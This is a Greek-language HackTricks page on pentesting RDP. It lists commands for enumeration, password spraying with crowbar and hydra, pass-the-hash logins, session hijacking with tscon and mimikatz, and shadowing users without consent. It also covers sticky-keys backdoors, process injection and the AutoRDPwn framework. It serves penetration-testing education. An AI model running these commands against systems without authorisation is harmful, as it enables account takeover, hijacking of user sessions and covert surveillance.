3389 - Pentesting RDP
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Αναπτυγμένο από τη Microsoft, το Remote Desktop Protocol (RDP) έχει σχεδιαστεί για να επιτρέπει μια σύνδεση με γραφικό περιβάλλον μεταξύ υπολογιστών μέσω δικτύου. Για να δημιουργηθεί τέτοια σύνδεση, ο χρήστης χρησιμοποιεί λογισμικό client RDP, ενώ ο απομακρυσμένος υπολογιστής πρέπει να εκτελεί λογισμικό server RDP. Αυτή η διαμόρφωση επιτρέπει τον απρόσκοπτο έλεγχο και πρόσβαση στο desktop περιβάλλον ενός απομακρυσμένου υπολογιστή, ουσιαστικά φέρνοντας το περιβάλλον εργασίας του στη συσκευή του χρήστη.
Default port: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Καταγραφή
Αυτόματη
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
Ελέγχει τη διαθέσιμη κρυπτογράφηση και την ευπάθεια σε DoS (χωρίς να προκαλεί DoS στην υπηρεσία) και ανακτά πληροφορίες NTLM Windows (εκδόσεις).
Security Layer / NLA Checks
Το RDP μπορεί να διαπραγματευτεί διαφορετικά επίπεδα ασφάλειας (native RDP, TLS, ή CredSSP/NLA). Μπορείτε γρήγορα να αποτυπώσετε τις ρυθμίσεις από την πλευρά του server και κατά πόσο απαιτείται NLA:
# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>
# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>
# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot
# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot
Brute force
Να είστε προσεκτικοί — μπορεί να κλειδωθούν λογαριασμοί
Password Spraying
Να είστε προσεκτικοί — μπορεί να κλειδωθούν λογαριασμοί
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Συνδεθείτε με γνωστά credentials/hash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Έλεγχος γνωστών διαπιστευτηρίων σε υπηρεσίες RDP
Το rdp_check.py του impacket σας επιτρέπει να ελέγξετε αν κάποια διαπιστευτήρια είναι έγκυρα για μια υπηρεσία RDP:
rdp_check <domain>/<name>:<password>@<IP>
Επιθέσεις
Session stealing
Με SYSTEM permissions μπορείτε να αποκτήσετε πρόσβαση σε οποιαδήποτε opened RDP session by any user χωρίς να χρειάζεται να γνωρίζετε τον κωδικό του ιδιοκτήτη.
Get openned sessions:
query user
Πρόσβαση στην επιλεγμένη συνεδρία
tscon <ID> /dest:<SESSIONNAME>
Τώρα θα βρεθείς μέσα στην επιλεγμένη RDP συνεδρία και θα πρέπει να προσποιηθείς έναν χρήστη χρησιμοποιώντας μόνο εργαλεία και λειτουργίες των Windows.
Σημαντικό: Όταν αποκτάς πρόσβαση σε μια ενεργή RDP συνεδρία, θα αποσυνδέσεις τον χρήστη που τη χρησιμοποιούσε.
Μπορείς να πάρεις κωδικούς από dump της διεργασίας, αλλά αυτή η μέθοδος είναι πολύ πιο γρήγορη και σε αφήνει να αλληλεπιδράσεις με τα virtual desktops του χρήστη (κωδικοί σε notepad χωρίς να έχουν αποθηκευτεί στο δίσκο, άλλες RDP συνεδρίες ανοιχτές σε άλλα μηχανήματα…)
Mimikatz
Μπορείς επίσης να χρησιμοποιήσεις mimikatz για αυτό:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
RDP Shadowing (Remote Control)
Εάν το Remote Desktop Services shadowing είναι ενεργοποιημένο, μπορείτε να δείτε ή να ελέγξετε την ενεργή συνεδρία άλλου χρήστη (μερικές φορές χωρίς τη συναίνεση) χρησιμοποιώντας τις ενσωματωμένες παραμέτρους του mstsc.
# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>
# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
RDP Tunneling μέσω εικονικών καναλιών
Το RDP υποστηρίζει εικονικά κανάλια που μπορούν να αξιοποιηθούν για pivoting/tunneling σε μια υπάρχουσα συνεδρία RDP. Μια επιλογή είναι rdp2tcp (client/server) που μπορεί να πολυπλέξει TCP forwards πάνω από RDP (λειτουργεί με FreeRDP).
# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
Sticky-keys & Utilman
Συνδυάζοντας αυτή την τεχνική με stickykeys ή utilman θα μπορείτε να αποκτήσετε πρόσβαση σε ένα διοικητικό CMD και σε οποιαδήποτε RDP συνεδρία οποτεδήποτε
Μπορείτε να αναζητήσετε RDPs που έχουν ήδη backdoored με μία από αυτές τις τεχνικές στο: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Εάν κάποιος από διαφορετικό domain ή με σύνδεση με καλύτερα προνόμια μέσω RDP στον υπολογιστή όπου είστε Admin, μπορείτε να inject το beacon σας στην RDP session process του και να ενεργήσετε ως αυτός:
Προσθήκη χρήστη στην ομάδα RDP
net localgroup "Remote Desktop Users" UserLoginName /add
Αυτόματα Εργαλεία
AutoRDPwn είναι ένα post-exploitation framework γραμμένο σε PowerShell, σχεδιασμένο κυρίως για την αυτοματοποίηση της επίθεσης Shadow σε υπολογιστές Microsoft Windows. Αυτή η ευπάθεια (αναφερόμενη από τη Microsoft ως λειτουργία) επιτρέπει σε έναν απομακρυσμένο εισβολέα να προβάλει την επιφάνεια εργασίας του θύματος χωρίς τη συγκατάθεσή του, και ακόμη να την ελέγχει κατά βούληση, χρησιμοποιώντας εργαλεία εγγενή στο ίδιο το λειτουργικό σύστημα.
-
Έλεγχος του ποντικιού και του πληκτρολογίου με αυτοματοποιημένο τρόπο από τη γραμμή εντολών
-
Έλεγχος του πρόχειρου (clipboard) με αυτοματοποιημένο τρόπο από τη γραμμή εντολών
-
Ανάπτυξη SOCKS proxy από τον client που διοχετεύει την δικτυακή κίνηση προς τον στόχο μέσω RDP
-
Εκτέλεση αυθαίρετων εντολών SHELL και PowerShell στον στόχο χωρίς μεταφόρτωση αρχείων
-
Αποστολή και λήψη αρχείων προς/από τον στόχο ακόμα και όταν οι μεταφορές αρχείων είναι απενεργοποιημένες στον στόχο
Αυτό το εργαλείο επιτρέπει την εκτέλεση εντολών στο RDP του θύματος χωρίς να απαιτείται γραφικό περιβάλλον.
Αυτόματες Εντολές HackTricks
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Αναφορές
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


